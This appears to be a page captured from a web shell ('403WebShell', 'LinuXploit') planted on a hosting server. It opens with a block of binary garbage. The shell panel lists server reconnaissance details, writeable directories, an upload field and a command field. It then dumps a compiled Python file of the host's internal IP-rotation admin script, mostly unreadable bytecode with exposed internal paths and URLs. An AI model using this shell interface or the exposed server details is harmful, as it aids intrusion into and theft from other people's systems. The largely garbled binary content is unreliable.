DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1[y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN��ĕ��0 !01@Q"2AaPq3BR������?���@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j�ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^���ԯ̾9Z��F��������n��1��� ��]�[��)�'������:�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0��;_��3 !01"@AQa2Pq#3BR������?��ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6����������4B>��o��](��$B���m�����a�!=��?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)����I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a�84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b��$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7��k�� 403WebShell
403Webshell
Server IP : 213.165.242.4  /  Your IP : 216.73.217.129
Web Server : Apache
System : Linux amsngx344.inmotionhosting.com 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : aquafi9 ( 1305)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/sharedrads/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/sharedrads/__pycache__/rotate_ip_addresses.cpython-313.pyc
�

�"jM��x�SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	r	SSK
r
SSKrSSKrSSK
r
SSKrSSKr\R "\R"SSSS9r\	R&"S5rSrS\\4SjrS	rS
rSrSrS
rSrSSjrSr Sr!Sr"Sr#Sr$Sr%\&S:Xa\#"5r'\%"5 gg)�NTzutf-8)�check�capture_output�encodingaw
    This script will change all users of the target IP to use one of the
    provided new IP addresses.

    Download and read this first: https://imhsc.imhadmin.net/modules/Files/Setup%20Checklists/?download=MainIPChangeChecklist.ods

    Tasks you should already have performed:
    - Let support/systems know what you're about to do.
    - If the target is the main IP of the box
        - You've chosen one from the Shared block.
        - You've licensed cpanel/softaculous on the new IP.
        - Ensured that this script is being run over the backlan.
        - Ensured that this script is being run in a screen.
    - You've chosen a pool of dedicated IPs to use as the new shared IPs.
    - Chosen IPs are marked in system center.
    - A and PTR records are updated for the IPs in question.

    Tasks this script will perform:
    - Reconfigure networking, including the main IP if specified
    - Notify customers of their new IP via power panel
    - Configure cPanel for the new IP
        - /var/cpanel/mainip
        - /etc/wwwacct.conf
        - /var/cpanel/mainips/{root,inmotion,tier2s}
        - /etc/mailips - only if the target IP is here
        - /etc/reservedips
        - /etc/reservedipreasons
    - If the main IP is the target, change inmotion/tier2s/secure IP
    - Change all users on the target IP to one of the new IPs

    Tasks you should perform after user rotation begins:
    - Revoke the cPanel and Softaculous licenses.
    - Start the HUD updating from /root/ip_change_status
    - Double-check that the DNS for the secure hostname updated correctly
    - Review the checklist and confirm all steps manually
    c���Sn[R"SR[UR5RSS555n/nSSS[R1n[R"U5HhnXT;aM
[[RRX5SS	9nUH(nURU5cMURU5  O S
S
S
5 Mj U$!,(df   M}=f)zReturns a list of users on ipz/var/cpanel/userszIP={}$�.z\.�tier2s�inmotion�hubhost�ascii�rN)�re�compile�format�str�ip�replace�rads�SECURE_USER�os�listdir�open�path�join�match�append)r�user_dir�
ip_matcher�	user_list�
special_users�user�f�lines        �&/opt/sharedrads/rotate_ip_addresses.py�get_users_onr$As���"�H����H�O�O�C����J�,>�,>�s�E�,J�K�L�J��I��z�9�d�6F�6F�G�M��
�
�8�$��� ��
�"�'�'�,�,�x�.��
A�Q����#�#�D�)�5��$�$�T�*���B�
A�%���B�
A�s�(C%�C%�%
C4	rc�8�UR5n[R"[5n[	U5S:�a`UHIn[	U5S::a O9U[UR5RUR55 MK [	U5S:�aM`U$)z+Generates a dict of ip -> userlist mappingsr)	�copy�collections�defaultdict�list�lenrrr�pop)�destinationsr�users�mapping�dests     r#�generate_work_listr0Rsv���N�N��E��%�%�d�+�G�

�e�*�q�.� �D��5�z�Q����C����L�!�(�(�����5�!��e�*�q�.�
�N�c�$�URS5$)z*Strips quotes and whitespace from a stringz'" 
	)�strip)�strings r#�strip_quotesr5^s���<�<�
�&�&r1c���[SSS9n[UR55nSSS5 SnSn[SSS9nUHknURS5(a[UR	S5S5nURS	5(dMN[UR	S5S5nMm SSS5 UbUc,[
R"S
5 [R"S5 UW:wa.[
R"SUU5 [R"S5 [
R"SU5 [R"US
U35$!,(df   GN/=f!,(df   N�=f)z'Gets the current main IP of the server.�/var/cpanel/mainiprrN�)/etc/sysconfig/network-scripts/ifcfg-eth0�IPADDR=�=��NETMASK=zBCould not read eth0 address information, check IPADDR and NETMASK!z7cPanel IP (%s) and eth0 IP (%s) do not match, fix this!zDetermined main IP to be %s�/)rr5�read�
startswith�split�logging�critical�sys�exit�info�netaddr�	IPNetwork)r!�cpanel_main_ip�
ifcfg_addr�
ifcfg_maskr"s     r#�get_main_iprKcs/��	
�"�W�	5��%�a�f�f�h�/��
6��J��J�	
�3�g�
�	
��D����y�)�)�)�$�*�*�S�/�!�*<�=�
����z�*�*�)�$�*�*�S�/�!�*<�=�
�	�
���Z�/����P�	
�	������^�#����E���	
�
	������L�L�.�
�;����
�|�1�Z�L�9�:�:�3
6�	5��
�
�s�E
�A
E�!E�
E�
E-c���/nSn[USS9nUH�nURS5(a!URSURS35 M:URS5(a!URSURS35 MqURU5 M� SSS5 SRU5n[US	SS9nUR
U5 SSS5 [R"S
5 /nSn[USS9nUHNnURS5(a$URSURS
-S35 M=URU5 MP SSS5 SRU5n[US	SS9nUR
U5 SSS5 [R"S5 [SS	SS9nUR
[UR55 SSS5 [R"S5 Sn/n	[USS9nUHKnURS5(a!U	RSURS35 M:U	RU5 MM SSS5 SRU	5n[US	SS9nUR
U5 SSS5 [R"S5 [SS/5 [SS/5 [/SQ5 [R"S5 [+SUS35 g!,(df   GNb=f!,(df   GN>=f!,(df   GN�=f!,(df   GN�=f!,(df   GNo=f!,(df   GN=f!,(df   N�=f![Raln
[R"S[R
"U
R 5U
R"U
R$5 [&R("S
5 Sn
A
GNSn
A
ff=f)zSets the main IP of the serverr8rrr9�
r<N��wzWrote new ifcfg-eth0z/etc/sysconfig/networkzGATEWAY=r;zWrote new network configr7zWrote new /var/cpanel/mainipz/etc/wwwacct.confzADDR zWrote new wwwacct.conf�ifdown�eth0�ifup��service�	ipaliases�restartzAFailed to configure eth0 when executing %s! STDOUT: %r STDERR: %rz$Completed reload of eth0 networking.zPlease ping the new main IP z� and press ENTER when connectivity has been confirmed.  If the IP does not begin to ping within 2 minutes, press Ctrl+C to abort and check main IP configuration.)rr?rr�netmaskr�writerArE�networkr�runcmd�
subprocess�CalledProcessErrorrB�shlex�args�stdout�stderrrCrD�input)r�	new_ifcfg�
ifcfg_filer!r"�output�new_network�network_file�www_file�new_www�excs           r#�set_main_iprj�s���I�<�J�	
�j�7�	+�q��D����y�)�)�� � �7�2�5�5�'��!4�5�����,�,�� � �8�B�J�J�<�r�!:�;�� � ��&�
�
,��W�W�Y�
�F�	
�j�#��	0�A�	�����
1��L�L�'�(��K�+�L�	
�l�W�	-���D����z�*�*��"�"�X�b�j�j�1�n�-=�R�#@�A��"�"�4�(�	�
.��W�W�[�
!�F�	
�l�C�'�	2�a�	�����
3��L�L�+�,�
�"�C�'�	:�a�	����B�E�E�
��
;��L�L�/�0�#�H��G�	
�h��	)�Q��D����w�'�'�����r�u�u�g�R�0�1����t�$�	�
*��W�W�W�
�F�	
�h��g�	.�!�	�����
/��L�L�)�*����&�!�"����� ��2�3��L�L�7�8�	�
&�r�d�+J�	J��w
,�	+��
1�	0��
.�	-��
3�	2��

;�	:��
*�	)��
/�	.���(�(�����O��J�J�s�x�x� ��J�J��J�J�		
�	��������so�B	K3�<L�:AL�3L)�.%L;�?AM
�5M�&'M0�3
L�
L�
L&�)
L8�;
M
�
M�
M-�0O0�A!O+�+O0c
��SnS[R"5S;aSnOSn[RRU5(d[R"U5 [[RR
US5SSS	9nUHBnURURS
35 [R"SUR5 MD SSS5 [R"[RR
US5[RR
US
55 [R"S5 [R"[RR
US5[RR
X55 [R"SU5 [SSSS	9nUHBnURURS
35 [R"SUR5 MD SSS5 [SSSS	9nUHBnURURS35 [R"SUR5 MD SSS5 [SSSS	9nUHRnURURSURSURS
35 [R"SU5 MT SSS5 [/SQ5 [R"S5 g!,(df   GN*=f!,(df   GN=f!,(df   N�=f!,(df   Nh=f![ R"a6n[R$"SUR&UR(5 SnAgSnAff=f)z+Adds a list of new shared IPs to the server�/var/cpanel/mainips�hubr;r
r	�root�arrrMzAdded %s to mainips/rootNr�%Copied mainips/root to mainips/tier2s�!Copied mainips/root to mainips/%s�/etc/reservedipszAdded %s to reservedips�/etc/reservedipreasonsz=backup mail ip
zAdded %s to reservedipreasons�/etc/ips�:zAdded %s to /etc/ipsrSz$Added IPs to the server successfullyzBError restarting ipaliases after adding IPs. STDOUT: %s STDERR: %s)r�unamer�isdir�mkdirrrrXrrArE�shutilr&rW�	broadcastrZr[r\rBr_r`)r,�mainips_root�resellerr!rris      r#�add_new_ipsr}�s~��(�L�����
�1�
������
�7�7�=�=��&�&�
�����	
�b�g�g�l�l�<��0�#��	H�A��B�
�G�G�r�u�u�g�R�L�!��L�L�3�R�U�U�;��
I��K�K�
�����\�6�*�B�G�G�L�L��x�,P���L�L�8�9�
�K�K�
�����\�6�*�B�G�G�L�L��,P���L�L�4�h�?�	
� �#��	8�A��B�
�G�G�r�u�u�g�R�L�!��L�L�2�B�E�E�:��
9�
�&��g�	>�!��B�
�G�G�r�u�u�g�.�/�0��L�L�8�"�%�%�@��
?�
�j�#��	0�A��B�
�G�G�r�u�u�g�Q�r�z�z�l�!�B�L�L�>��<�=��L�L�/��4��
1�	
��2�3����;�<�5
I�	H��
9�	8��
?�	>��
1�	0���(�(�
����
$��J�J��J�J�		
�	
��
�sL�A	K3�5A	L�A	L�-AL(�#L9�3
L�
L�
L%�(
L6�9N�
,M>�>Nc���SnS[R"5S;aSnOSn[RRU5(Ga�/n[	[RRUS5SS9nUH(nXPRS	3:wdMURU5 M* S
S
S
5 [	[RRUS5SSS9nURSRU55 S
S
S
5 [R"[RRUS5[RRUS
55 [R"S5 [R"[RRUS5[RRX55 [R"SU5 /n[	SSS9nUH(nXPRS	3:wdMURU5 M* S
S
S
5 [	SSSS9nURSRU55 S
S
S
5 /n[	SSS9nUH9nURURS35(aM(URU5 M; S
S
S
5 [	SSSS9nURSRU55 S
S
S
5 /n[	SSS9nUH9nURURS35(aM(URU5 M; S
S
S
5 [	SSSS9nURSRU55 S
S
S
5 g
!,(df   GN�=f!,(df   GN{=f!,(df   GNx=f!,(df   GNV=f!,(df   GN=f!,(df   N�=f!,(df   N�=f!,(df   g
=f)z-Removes an IP from the server (not a main ip)rlrmr;r
r	rnrrrMNrOrNrrprqrrrsr:rtru)rrvrrwrrrrrXryr&rArEr?)	rr{r|�new_mainipsr!r"�new_reservedips�new_reasons�new_ipss	         r#�remove_from_serverr��s���(�L�����
�1�
������	�w�w�}�}�\�"�"���
�"�'�'�,�,�|�V�4�w�
G�1����e�e�W�B�<�'��&�&�t�,��H���G�G�L�L��v�.��g�
�
�
�G�G�B�G�G�K�(�)�
�	����G�G�L�L��v�.��G�G�L�L��x�0�	
�	���<�=�����G�G�L�L��v�.��G�G�L�L��0�	
�	���8�(�C��O�	
� �7�	3�q��D��%�%���|�#��&�&�t�,��
4�
� �#��	8�A�	�������(�)�
9��K�	
�&��	9�Q��D��?�?�b�e�e�W�A�;�/�/��"�"�4�(��
:�
�&��g�	>�!�	�������$�%�
?��G�	
�j�7�	+�q��D��?�?�b�e�e�W�A�;�/�/����t�$��
,�
�j�#��	0�A�	������� �!�
1�	0�KH�
G��
�
��
4�	3��
9�	8��
:�	9��
?�	>��
,�	+��
1�	0�sx�3M�
M�!M(�M:�4M:�!N�'N�<N�$!N0�'O�O�,!O�
M%�(
M7�:
N	�
N�
N-�0
N>�
O�
O c�P�[R"U5nWRS::a-[R
"SU5 [R"S5 U$![RRa0 [R
"SU5 [R"S5 N�f=f)z%Validates an IP and exits on failure.z(The specified address '%s' is not valid!r;�zvThe prefix of specified address '%s' is too short to be a usable address. You must enter a valid IP with CIDR netmask.)	rFrG�core�AddrFormatErrorrArBrCrD�size)�addressrs  r#�validate_ipr�'s����
�
�
�w�
'��
�w�w�!�|����
D��	
�
	�����
�I���<�<�'�'�����C�W�M�������s�A�AB%�$B%c� �[R"[[RS9nUR	SSS9 UR	SSSS9 UR	S	S
SSS
9 UR	SSSS9 UbURU5$UR5$)z6Gets the command line arguments or parses args if set.)�description�formatter_class�	target_ipz[The IP to be changed.  Should currently be black-holed. Must be specified in CIDR notation.)�help�	shared_ip�+z^The shared IPs over which users will be distributed. These must be specified in CIDR notation.)�nargsr�z-mz--mainip�main_ipzhThe new main IP. If the target is not the main IP, this is optional. Must be specified in CIDR notation.)r/r�z
--loglevel�INFOz&Specify a log level, defaults to INFO.)�defaultr�)�argparse�ArgumentParserr��RawDescriptionHelpFormatter�add_argument�
parse_args)r^�parsers  r#�get_argsr�8s���
�
$�
$�� �<�<��F�����&���
�����)��������
�8�	�������
5������ � ��&�&�����r1c�p�[R"5nS[R"5S;aSnOSnUSSS.nUHtnXHinXSS'XCS'UR"S0UD6nUR
S	:wa%[R"S
UUUR5 MR[R"SXT5 Mk Mv g)
z)Sends mail to each user with their new IPrmr;iiN)�template�
cpanelUser�
variable_1r�r�rz8Failed to send notification to %s with IP %s because %s.z$Success: %s notified of IP change %s)znotification.send)
�pp_api�
PowerPanelrrv�call�statusrA�error�messagerE)�	work_dict�pp�template_id�datarr �reqs       r#�
mail_usersr�[s���	�	�	�	�B�����
�1�
������#�4�t�L�D����M�D�!%���!#����'�'�6��6�C��z�z�Q���
�
�N����K�K�	����C�T�N�"�r1c
�B^�[U4SjT55nSnSS/nTH�nTUH�n[X5U/-5Rn[U5S:�a[R
"SXTU5 O[R"SXT5 US
-
n[SSS
S9nURX!-S-SS35 S	S	S	5 M� M� g	![Ra8n[R"SUUURUR5 S	nAN�S	nAff=f!,(df   M�=f)z1Changes the IP of each user per the work providedc3�@># �UHn[TU5v� M g7f�N)r*)�.0�ir�s  �r#�	<genexpr>�"change_user_ips.<locals>.<genexpr>vs����;��A�c�)�A�,�'�'��s�gz/usr/local/cpanel/bin/setsiteipz-u�z#Possible issue setting %s to %s: %rzSuccess: %s set to %sz8Failed to change IP for %s to %s.  STDOUT: %r STDERR: %rNr;z/root/ip_change_statusrOrr�dz0.2fz%
)
�sumrZr_r*rA�warningrEr[r\r�r`rrX)	r��total_users�count�	setsiteiprr rdrir!s	`        r#�change_user_ipsr�ts����;��;�;�K��E�2�D�9�I����b�M�D�
��	�2�J� 6�7�>�>���v�;��?��O�O�=�t����L�L�!8�$�C�
�Q�J�E��.��g�F�!����5�.��4�T�:�#�>�?�G�F�%"����0�0�
��
�
�N����J�J��J�J����
��G�F�s*�AC�,C�D�D�.D�D�
Dc��S[R"5S;aSnOSn[US[RU/05 g)z/Changes the "main" users to use the new main IPrmr;r
r	rN)rrvr�rr)rr|s  r#�change_main_usersr��s8������
�1�
�������R�(�D�$4�$4�h�?�@�Ar1c���0n[SSS9nUHBnURS5up4UR5nUR5nUS:wdM>X@U'MD SSS5 U$!,(df   U$=f)Nz/etc/userdomainsrrru�*)rr@r3)�
dom_owners�handler"�domainr s     r#�parse_userdomainsr��sp���J�	
� �7�	3�v��D��:�:�c�?�L�F��\�\�^�F��:�:�<�D���}�%)�6�"��
4���
4�	3���s�=A �A � 
A/c�6�[S/5n[R"S5GHVnURS5SRS5Sn[UnSnUR5H'upxUHn	U	R5U:XdMUn M% M) Uc[R"S
U5 M�/n
[USS9nUH9nUR[UR5U5nU
RU5 M; SSS5 [!U
5S
::a[R"SU5 GM[USSS9n
U
HnU
R#U5 M SSS5 U"US9 [R&"SU5 GMY g![a [R"S5 gf=f![a [R"S	U5 SnGNtf=f!,(df   N�=f!,(df   N�=f![$a [R"SU5 GM�f=f)zLManually updates zone files for records that setsiteip
does not touch. (SPF)z/scripts/dnsclusterzUnable to find cPanel tools!Nz/var/named/*.dbr=���z.dbrz5Unable to determine owner of %s from /etc/userdomainsz Unable to determine new IP of %srr�
z3Zone file for %s is suspiciously short! Skipping...rOzUnable to read/write %s)�synczonezReplaced DNS records for %s)rZ�FileNotFoundErrorrAr��globr@�
DOM_OWNERS�KeyError�items�rstripr�rrrrrr*rX�OSErrorrE)r��target�
dnscluster�	zone_file�	zone_name�owner�new_iprr-r �lines�infiler"�outfiles              r#�
update_dnsr��s�����2�3�4�
��Y�Y�0�1�	��O�O�C�(��,�2�2�5�9�!�<�	�	��y�)�E���"���*�I�B����;�;�=�E�)��F���+��>��O�O�>�	�J����	��i�'�2�f�"�D��<�<��F�I�I���?�D��L�L��&�#�3��5�z�R�����I�����i��w�7�7�!�D��M�M�$�'�"�8�	�I�&����2�I�>�U2�����
�
�4�5�����	��M�M�G��
��E�	��(3�2��8�7���	��M�M�3�Y�?��	�sr�F�	F&�4
G2�>AG�>.G2�/G2�:G!�G2� F#�"F#�&#G
�G
�
G	�G2�!
G/	�+G2�/G2�2!H�Hc	��	�[5n[R"SS[[UR
R
5[R5[RS9 [UR5n[R"SU5 URVs/sHn[U5PM nn[R"SSR[[ U555 [#5nUR$b-[UR$5n[R"SU5 OUn[R"SU5 UR&UR&:Xa-[R("S	U5 [R*"S
5 [-U5n[R"S5 [/[05 [/S5 [/S
R3[5U5UR&55 UH(n[/SUR&SUR635 M* [/SUR&S3SUR6S3SUR8S35 [/5 [/S5 [/5 [;S5nUS:wa,[R("S5 [R*"S
5 [R"S5 [=X65n	UR&UR&:Xa*[?U5 [A[!UR&55 O[CU5 [EU5 S/n
[FRH"[JU	4S9nURM5 [FRH"[NU	4S9nURM5 [FRH"[PX�4S9n
U
RM5 [SU
5 UR5 [R"S5 UR5 [R"S5 U
R5 [R"S5 [SU
5 [SS S!/5 gs snf![TRVa [RX"S5 N�f=f![TRVa [RX"S5 Npf=f![TRVa [RX"S"5 gf=f)#Nz /var/log/ip_address_rotation.logz([%(asctime)s] %(levelname)s: %(message)s)r�fmt�loglevel�	print_outzValidated target IP '%s'z"Validated destination IP(s) '[%s]'z, zValidated main IP '%s'zNot changing main IP '%s'zYThe target IP (%s) is the current main IP of the server!  You must specify a new main IP!r;z*Pre-flight checks complete.  Confirming...z1The following changes will be made to the server:z>- All {} users on {} will be migrated to one of the following:z    - z with netmask z%- The main IP of the server will be 'z',zthe netmask will be 'zand the gateway will be 'z'.z?The current status percentage will be in /root/ip_change_statusz�Please take a moment to thoroughly read and ensure you understand all of the information above.  If you have confirmed that this script is about to do what you want, type 'YES' to continue: �YESz2User did not enter 'YES' when prompted.  Aborting.z,User has confirmed all changes.  Proceeding.z/scripts/rebuildhttpdconf)r�r^zrebuildhttpdconf failedzFinished mailingzFinished changing IPsz#Finished updating extra DNS recordsz/scripts/restartsrv_httpdz
--gracefulzfailed to reload httpd)-r�r�
setup_logging�getattrrAr��upperr�rCr`r�r�rEr�r�maprrKr�rrBrDr$�printr�rr*rWrYrar0rjr�r�r}�multiprocessing�Processr��startr�r�rZr[r\r�)r^r��addrr,�current_main_ipr��affected_usersr�confirmation�work�rebuild�mailer�
ip_changer�dns_updaters              r#�mainr��s����:�D����
/�6���$�-�-�"5�"5�"7����F��*�*�	�����
(�F��L�L�+�V�4�26�.�.�A�.�$�K��%�.�L�A��L�L�,�d�i�i��C��8N�.O��"�m�O��|�|���d�l�l�+�����-�w�7�!�����0�'�:�
�y�y�G�J�J�����
*��	
�
	�����!�&�)�N��L�L�=�>�	�+��	�
=�>�	�H�O�O�������	
��
��
��r�u�u�g�^�B�J�J�<�8�9��	�
/��
�
�|�2�>�
����0��3�
#�G�O�O�#4�B�7��

�G�	�
K�L�	�G��	B��L�
�u�����M�N�������L�L�?�@��l�;�D�
�y�y�O�&�&�&��G���#�g�j�j�/�*��6�"����*�+�G�
�
$�
$�J�d�W�
E�F�
�L�L�N� �(�(��t�g�N�J�����!�)�)�����K�����1��w���K�K�M��L�L�#�$��O�O���L�L�(�)������L�L�6�7�1��w��0��+�\�:�;��wB��V�(�(�1��
�
�/�0�1���(�(�1��
�
�/�0�1��
�(�(�0��
�
�.�/�0�s<�Q
�5Q�3R�?
R2�*Q?�>Q?�*R/�.R/�2*S�S�__main__r�)(r�r'�	functoolsrAr]rr
ryrC�textwrapr�r�r[rFr�r�partial�runrZ�dedentr�r$r)rr0r5rKrjr}r�r�r�r�r�r�r�r�r��__name__r��r1r#�<module>r�s��������	�	�
�
������
��	�	�	��N�N�$�t�g�
���o�o�$�&��R�"	��S�	�	�'�
;�<D�N*
�Z/"�d�" �FO�2@�8B�	�2?�jg0�T�z��"�$�J��F�r1

Youez - 2016 - github.com/yon3zu
LinuXploit